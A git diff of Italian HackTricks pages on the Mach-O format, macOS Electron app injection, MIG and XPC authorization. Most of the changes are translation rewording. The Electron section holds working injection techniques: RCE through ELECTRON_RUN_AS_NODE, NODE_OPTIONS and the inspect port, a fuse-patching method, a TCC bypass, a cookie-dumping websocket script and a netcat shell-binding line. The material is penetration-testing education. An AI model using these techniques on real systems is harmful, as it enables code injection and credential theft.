Ci sono **diversi tipi** di segmenti, come il segmento **\_\_TEXT**, che contiene il codice eseguibile di un programma, e il segmento **\_\_DATA**, che contiene dati utilizzati dal processo. Questi **segmenti si trovano nella sezione dei dati** del file Mach-O.
|
||||
|
||||
**Ogni segmento** può essere ulteriormente **diviso** in più **sezioni**. La **struttura del comando di caricamento** contiene **informazioni** su **queste sezioni** all'interno del rispettivo segmento.
|
||||
|
||||
|
@ -196,7 +196,7 @@ Esempio di **intestazione di sezione**:
|
|||
|
||||
Se si **aggiunge** l'**offset della sezione** (0x37DC) + l'**offset** in cui inizia l'**architettura**, in questo caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
È anche possibile ottenere le **informazioni sull'intestazione** dalla **riga di comando** con:
|
||||
```bash
|
||||
|
@ -214,9 +214,9 @@ Segmenti comuni caricati da questo cmd:
|
|||
- **`__DATA`**: Contiene dati che sono **leggibili** e **scrivibili** (non eseguibili)**.**
|
||||
- `__data`: Variabili globali (che sono state inizializzate)
|
||||
- `__bss`: Variabili statiche (che non sono state inizializzate)
|
||||
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ecc.): Informazioni utilizzate dall'Objective-C runtime
|
||||
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ecc.): Informazioni utilizzate dal runtime di Objective-C
|
||||
- **`__LINKEDIT`**: Contiene informazioni per il linker (dyld) come "voci di tabella dei simboli, stringhe e rilocazione".
|
||||
- **`__OBJC`**: Contiene informazioni utilizzate dall'Objective-C runtime. Anche se queste informazioni potrebbero essere trovate nel segmento \_\_DATA, all'interno di varie sezioni \_\_objc\_\*.
|
||||
- **`__OBJC`**: Contiene informazioni utilizzate dal runtime di Objective-C. Anche se queste informazioni potrebbero essere trovate nel segmento \_\_DATA, all'interno di varie sezioni \_\_objc\_\*.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
|
@ -235,7 +235,7 @@ Contiene il **percorso dell'eseguibile del linker dinamico** che mappa le librer
|
|||
|
||||
Questo comando di caricamento descrive una **dipendenza da libreria dinamica** che **istruisce** il **caricatore** (dyld) a **caricare e collegare tale libreria**. C'è un comando di caricamento LC\_LOAD\_DYLIB **per ogni libreria** richiesta dal binario Mach-O.
|
||||
|
||||
- Questo comando di caricamento è una struttura di tipo **`dylib_command`** (che contiene una struct dylib, che descrive la libreria dinamica dipendente effettiva):
|
||||
- Questo comando di caricamento è una struttura di tipo **`dylib_command`** (che contiene una struct dylib, descrivendo la libreria dinamica dipendente effettiva):
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -262,30 +262,30 @@ otool -L /bin/ls
|
|||
```
|
||||
Alcune potenziali librerie correlate al malware sono:
|
||||
|
||||
- **DiskArbitration**: Monitoraggio delle unità USB
|
||||
- **AVFoundation**: Cattura audio e video
|
||||
- **CoreWLAN**: Scansioni Wifi.
|
||||
* **DiskArbitration**: Monitoraggio delle unità USB
|
||||
* **AVFoundation:** Cattura audio e video
|
||||
* **CoreWLAN**: Scansioni Wifi.
|
||||
|
||||
{% hint style="info" %}
|
||||
Un binario Mach-O può contenere uno o **più costruttori**, che verranno **eseguiti prima** dell'indirizzo specificato in **LC\_MAIN**.\
|
||||
Un binario Mach-O può contenere uno o **più** **costruttori**, che verranno **eseguiti** **prima** dell'indirizzo specificato in **LC\_MAIN**.\
|
||||
Gli offset di eventuali costruttori sono contenuti nella sezione **\_\_mod\_init\_func** del segmento **\_\_DATA\_CONST**.
|
||||
{% endhint %}
|
||||
|
||||
## **Dati Mach-O**
|
||||
|
||||
Al centro del file si trova la regione dei dati, composta da diversi segmenti come definito nella regione dei comandi di caricamento. **Una varietà di sezioni dati può essere contenuta in ciascun segmento**, con ciascuna sezione che **contiene codice o dati** specifici per un tipo.
|
||||
Al centro del file si trova la regione dei dati, composta da diversi segmenti come definito nella regione dei comandi di caricamento. **Una varietà di sezioni dati può essere contenuta in ciascun segmento**, con ciascuna sezione **contenente codice o dati** specifici per un tipo.
|
||||
|
||||
{% hint style="success" %}
|
||||
I dati sono essenzialmente la parte che contiene tutte le **informazioni** caricate dai comandi di caricamento **LC\_SEGMENTS\_64**
|
||||
I dati sono fondamentalmente la parte che contiene tutte le **informazioni** caricate dai comandi di caricamento **LC\_SEGMENTS\_64**
|
||||
{% endhint %}
|
||||
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
Questo include:
|
||||
|
||||
- **Tabella delle funzioni**: Che contiene informazioni sulle funzioni del programma.
|
||||
- **Tabella dei simboli**: Che contiene informazioni sulle funzioni esterne utilizzate dal binario
|
||||
- Potrebbe contenere anche funzioni interne, nomi di variabili e altro.
|
||||
* **Tabella delle funzioni:** Che contiene informazioni sulle funzioni del programma.
|
||||
* **Tabella dei simboli**: Che contiene informazioni sulle funzioni esterne utilizzate dal binario
|
||||
* Potrebbe contenere anche funzioni interne, nomi di variabili e altro.
|
||||
|
||||
Per controllarlo, potresti utilizzare lo strumento [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -21,11 +21,11 @@ E node ha alcuni **parametri** e **variabili d'ambiente** che possono essere uti
|
|||
|
||||
### Fusibili di Electron
|
||||
|
||||
Queste tecniche saranno discusse in seguito, ma di recente Electron ha aggiunto diversi **fusibili di sicurezza per prevenirle**. Questi sono i [**Fusibili di Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e questi sono quelli utilizzati per **prevenire** alle app Electron in macOS di **caricare codice arbitrario**:
|
||||
Queste tecniche saranno discusse in seguito, ma di recente Electron ha aggiunto diversi **flag di sicurezza per prevenirle**. Questi sono i [**Fusibili di Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e questi sono quelli utilizzati per **prevenire** alle app Electron in macOS di **caricare codice arbitrario**:
|
||||
|
||||
* **`RunAsNode`**: Se disabilitato, impedisce l'uso della variabile d'ambiente **`ELECTRON_RUN_AS_NODE`** per iniettare codice.
|
||||
* **`EnableNodeCliInspectArguments`**: Se disabilitato, parametri come `--inspect`, `--inspect-brk` non saranno rispettati. Evitando in questo modo l'iniezione di codice.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Se abilitato, il file **`asar`** caricato verrà **validato** da macOS. **Prevenendo** in questo modo l'iniezione di codice modificando i contenuti di questo file.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Se abilitato, il file **`asar`** caricato verrà **validato** da macOS. **Prevenendo** in questo modo l'iniezione di codice modificando il contenuto di questo file.
|
||||
* **`OnlyLoadAppFromAsar`**: Se abilitato, anziché cercare di caricare nell'ordine seguente: **`app.asar`**, **`app`** e infine **`default_app.asar`**. Controlla e utilizza solo app.asar, garantendo così che quando **combinato** con il fusibile **`embeddedAsarIntegrityValidation`** sia **impossibile** **caricare codice non convalidato**.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: Se abilitato, il processo del browser utilizza il file chiamato `browser_v8_context_snapshot.bin` per il suo snapshot V8.
|
||||
|
||||
|
@ -51,16 +51,16 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
|||
```
|
||||
### Modificare i Fusibili di Electron
|
||||
|
||||
Come indicato nella [**documentazione**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configurazione dei **Fusibili di Electron** è impostata all'interno del **binario di Electron** che contiene da qualche parte la stringa **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
Come [**documentato**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configurazione dei **Fusibili di Electron** è impostata all'interno del **binario di Electron** che contiene da qualche parte la stringa **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
Nelle applicazioni macOS questo si trova tipicamente in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Puoi caricare questo file su [https://hexed.it/](https://hexed.it/) e cercare la stringa precedente. Dopo questa stringa, puoi vedere in ASCII un numero "0" o "1" che indica se ogni fusibile è disabilitato o abilitato. Modifica il codice esadecimale (`0x30` è `0` e `0x31` è `1`) per **modificare i valori del fusibile**.
|
||||
È possibile caricare questo file su [https://hexed.it/](https://hexed.it/) e cercare la stringa precedente. Dopo questa stringa è possibile vedere in ASCII un numero "0" o "1" che indica se ogni fusibile è disabilitato o abilitato. Modifica semplicemente il codice esadecimale (`0x30` è `0` e `0x31` è `1`) per **modificare i valori del fusibile**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota che se provi a **sovrascrivere** il **binario del framework Electron** all'interno di un'applicazione con questi byte modificati, l'applicazione non si avvierà.
|
||||
|
||||
|
@ -72,14 +72,14 @@ Potrebbero esserci **file JS/HTML esterni** che un'applicazione Electron sta uti
|
|||
Tuttavia, al momento ci sono 2 limitazioni:
|
||||
|
||||
* È necessaria l'autorizzazione **`kTCCServiceSystemPolicyAppBundles`** per modificare un'applicazione, quindi per impostazione predefinita ciò non è più possibile.
|
||||
* Il file compilato **`asap`** di solito ha i fusibili **`embeddedAsarIntegrityValidation`** e **`onlyLoadAppFromAsar`** abilitati
|
||||
* Il file compilato **`asap`** di solito ha i fusibili **`embeddedAsarIntegrityValidation`** `e` **`onlyLoadAppFromAsar`** `abilitati`
|
||||
|
||||
Rendendo questo percorso di attacco più complicato (o impossibile).
|
||||
{% endhint %}
|
||||
|
||||
Nota che è possibile aggirare il requisito di **`kTCCServiceSystemPolicyAppBundles`** copiando l'applicazione in un'altra directory (come **`/tmp`**), rinominando la cartella **`app.app/Contents`** in **`app.app/NotCon`**, **modificando** il file **asar** con il tuo codice **malizioso**, rinominandolo nuovamente in **`app.app/Contents`** ed eseguendolo.
|
||||
|
||||
Puoi estrarre il codice dal file asar con:
|
||||
È possibile estrarre il codice dal file asar con:
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
|
@ -89,7 +89,9 @@ npx asar pack app-decomp app-new.asar
|
|||
```
|
||||
## RCE con `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
Secondo [**la documentazione**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se questa variabile di ambiente è impostata, avvierà il processo come un normale processo Node.js.
|
||||
Secondo [**la documentazione**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se questa variabile di ambiente è impostata, avvierà il processo come un normale processo Node.js.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
|
@ -130,7 +132,7 @@ Come [**proposto qui**](https://www.trustedsec.com/blog/macos-injection-via-thir
|
|||
```
|
||||
## RCE con `NODE_OPTIONS`
|
||||
|
||||
Puoi memorizzare il payload in un file diverso ed eseguirlo:
|
||||
È possibile memorizzare il payload in un file diverso ed eseguirlo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -166,7 +168,7 @@ Potresti abusare di questa variabile di ambiente in un plist per mantenere la pe
|
|||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## RCE con l'ispezione
|
||||
## RCE con ispezione
|
||||
|
||||
Secondo [**questo**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se esegui un'applicazione Electron con flag come **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, verrà aperta una **porta di debug** a cui puoi connetterti (ad esempio da Chrome in `chrome://inspect`) e sarai in grado di **iniettare codice al suo interno** o addirittura avviare nuovi processi.\
|
||||
Per esempio:
|
||||
|
@ -182,12 +184,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% hint style="danger" %}
|
||||
Se il fusibile **`EnableNodeCliInspectArguments`** è disabilitato, l'app **ignorerà i parametri node** (come `--inspect`) quando viene avviata a meno che la variabile d'ambiente **`ELECTRON_RUN_AS_NODE`** non sia impostata, la quale verrà **ignorata** se il fusibile **`RunAsNode`** è disabilitato.
|
||||
|
||||
Tuttavia, è ancora possibile utilizzare il **parametro electron `--remote-debugging-port=9229`** ma il payload precedente non funzionerà per eseguire altri processi.
|
||||
Tuttavia, è comunque possibile utilizzare il **parametro electron `--remote-debugging-port=9229`** ma il payload precedente non funzionerà per eseguire altri processi.
|
||||
{% endhint %}
|
||||
|
||||
Utilizzando il parametro **`--remote-debugging-port=9222`** è possibile rubare alcune informazioni dall'App Electron come la **cronologia** (con comandi GET) o i **cookie** del browser (poiché sono **decriptati** all'interno del browser e c'è un **endpoint json** che li restituirà).
|
||||
Utilizzando il parametro **`--remote-debugging-port=9222`** è possibile rubare alcune informazioni dall'applicazione Electron come la **cronologia** (con comandi GET) o i **cookie** del browser (poiché sono **decriptati** all'interno del browser e c'è un **endpoint json** che li restituirà).
|
||||
|
||||
Puoi apprendere come farlo [**qui**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) e [**qui**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) e utilizzare lo strumento automatico [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o uno script semplice come:
|
||||
Puoi imparare come farlo [**qui**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) e [**qui**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) e utilizzare lo strumento automatico [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o uno script semplice come:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -195,7 +197,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
|||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
Nel [**questo post sul blog**](https://hackerone.com/reports/1274695), questo debug viene abusato per fare in modo che un chrome headless **scarichi file arbitrari in posizioni arbitrarie**.
|
||||
Nel [**questo post sul blog**](https://hackerone.com/reports/1274695), questo debug viene abusato per fare in modo che un headless chrome **scarichi file arbitrari in posizioni arbitrarie**.
|
||||
|
||||
### Iniezione dal Plist dell'App
|
||||
|
||||
|
@ -222,7 +224,7 @@ Il demone TCC di macOS non controlla la versione eseguita dell'applicazione. Qui
|
|||
## Esegui codice non JS
|
||||
|
||||
Le tecniche precedenti ti permetteranno di eseguire **codice JS all'interno del processo dell'applicazione Electron**. Tuttavia, ricorda che i **processi figlio vengono eseguiti sotto lo stesso profilo sandbox** dell'applicazione genitore e **ereditano i loro permessi TCC**.\
|
||||
Pertanto, se desideri abusare delle autorizzazioni per accedere alla fotocamera o al microfono, ad esempio, potresti semplicemente **eseguire un altro binario dal processo**.
|
||||
Pertanto, se desideri abusare dei diritti per accedere alla fotocamera o al microfono, ad esempio, potresti semplicemente **eseguire un altro binario dal processo**.
|
||||
|
||||
## Iniezione automatica
|
||||
|
||||
|
@ -272,13 +274,13 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -64,7 +64,7 @@ myipc_server_routine,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}Traduzione in corso...{% endtab %}
|
||||
{% tab title="myipcServer.h" %}Traduzione{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -95,7 +95,7 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
Nell'esempio abbiamo definito solo 1 funzione nelle definizioni, ma se avessimo definito più funzioni, sarebbero state all'interno dell'array di **`SERVERPREFmyipc_subsystem`** e la prima sarebbe stata assegnata all'ID **500**, la seconda all'ID **501**...
|
||||
In questo esempio abbiamo definito solo 1 funzione nelle definizioni, ma se avessimo definito più funzioni, sarebbero state all'interno dell'array di **`SERVERPREFmyipc_subsystem`** e la prima sarebbe stata assegnata all'ID **500**, la seconda all'ID **501**...
|
||||
|
||||
In realtà è possibile identificare questa relazione nella struttura **`subsystem_to_name_map_myipc`** da **`myipcServer.h`**:
|
||||
```c
|
||||
|
@ -138,9 +138,9 @@ return FALSE;
|
|||
}
|
||||
</code></pre>
|
||||
|
||||
Controlla le linee precedentemente evidenziate accedendo alla funzione da chiamare tramite ID.
|
||||
Controlla le righe evidenziate in precedenza per accedere alla funzione da chiamare tramite ID.
|
||||
|
||||
Di seguito è riportato il codice per creare un **server** e un **client** semplici in cui il client può chiamare le funzioni Sottrai dal server:
|
||||
Di seguito è riportato il codice per creare un semplice **server** e **client** in cui il client può chiamare le funzioni Sottrai dal server:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -209,7 +209,7 @@ Poiché molti binari utilizzano ora MIG per esporre le porte mach, è interessan
|
|||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
È stato precedentemente menzionato che la funzione che si occuperà di **chiamare la funzione corretta a seconda dell'ID del messaggio ricevuto** era `myipc_server`. Tuttavia, di solito non si hanno i simboli del binario (nessun nome di funzione), quindi è interessante **controllare come appare decompilato** poiché sarà sempre molto simile (il codice di questa funzione è indipendente dalle funzioni esposte):
|
||||
È stato precedentemente menzionato che la funzione che si occuperà di **chiamare la funzione corretta a seconda dell'ID del messaggio ricevuto** era `myipc_server`. Tuttavia, di solito non si avranno i simboli del binario (nessun nome di funzione), quindi è interessante **controllare come appare decompilato**, poiché sarà sempre molto simile (il codice di questa funzione è indipendente dalle funzioni esposte):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server decompiled 1" %}
|
||||
|
@ -255,7 +255,7 @@ return rax;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server decompiled 2" %}
|
||||
Questa è la stessa funzione decompilata in una versione gratuita diversa di Hopper:
|
||||
Questa è la stessa funzione decompilata in una versione diversa di Hopper free:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
|
@ -332,10 +332,20 @@ return r0;
|
|||
|
||||
In realtà, se si va alla funzione **`0x100004000`** si troverà l'array di strutture **`routine_descriptor`**. Il primo elemento della struttura è l'**indirizzo** in cui la **funzione** è implementata, e la **struttura occupa 0x28 byte**, quindi ogni 0x28 byte (a partire dal byte 0) è possibile ottenere 8 byte e quello sarà l'**indirizzo della funzione** che verrà chiamata:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Questi dati possono essere estratti [**utilizzando questo script di Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repository di Github.**
|
||||
|
|
|
@ -8,7 +8,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -18,7 +18,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
Apple propone anche un altro modo per autenticare se il processo di connessione ha **autorizzazioni per chiamare un metodo XPC esposto**.
|
||||
|
||||
Quando un'applicazione ha bisogno di **eseguire azioni come utente privilegiato**, invece di eseguire l'applicazione come utente privilegiato, di solito installa come root un HelperTool come servizio XPC che potrebbe essere chiamato dall'app per eseguire tali azioni. Tuttavia, l'app che chiama il servizio dovrebbe avere abbastanza autorizzazione.
|
||||
Quando un'applicazione ha bisogno di **eseguire azioni come utente privilegiato**, invece di eseguire l'applicazione come utente privilegiato, di solito installa come root un HelperTool come servizio XPC che potrebbe essere chiamato dall'applicazione per eseguire tali azioni. Tuttavia, l'applicazione che chiama il servizio dovrebbe avere abbastanza autorizzazione.
|
||||
|
||||
### ShouldAcceptNewConnection sempre YES
|
||||
|
||||
|
@ -47,7 +47,7 @@ Per ulteriori informazioni su come configurare correttamente questo controllo:
|
|||
|
||||
### Diritti dell'applicazione
|
||||
|
||||
Tuttavia, c'è un **processo di autorizzazione in corso quando viene chiamato un metodo da HelperTool**.
|
||||
Tuttavia, vi è un **processo di autorizzazione in corso quando viene chiamato un metodo da HelperTool**.
|
||||
|
||||
La funzione **`applicationDidFinishLaunching`** da `App/AppDelegate.m` creerà un riferimento di autorizzazione vuoto dopo che l'app è stata avviata. Questo dovrebbe sempre funzionare.\
|
||||
Successivamente, cercherà di **aggiungere alcuni diritti** a quel riferimento di autorizzazione chiamando `setupAuthorizationRights`:
|
||||
|
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
La funzione `enumerateRightsUsingBlock` è quella utilizzata per ottenere i permessi delle applicazioni, definiti in `commandInfo`:
|
||||
La funzione `enumerateRightsUsingBlock` è quella utilizzata per ottenere i permessi delle applicazioni, che sono definiti in `commandInfo`:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
@ -188,7 +188,7 @@ Questo significa che alla fine di questo processo, le autorizzazioni dichiarate
|
|||
|
||||
Ci sono diversi ambiti per indicare chi può accedere a un diritto. Alcuni di essi sono definiti in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (puoi trovarli [tutti qui](https://www.dssw.co.uk/reference/authorization-rights/)), ma in sintesi:
|
||||
|
||||
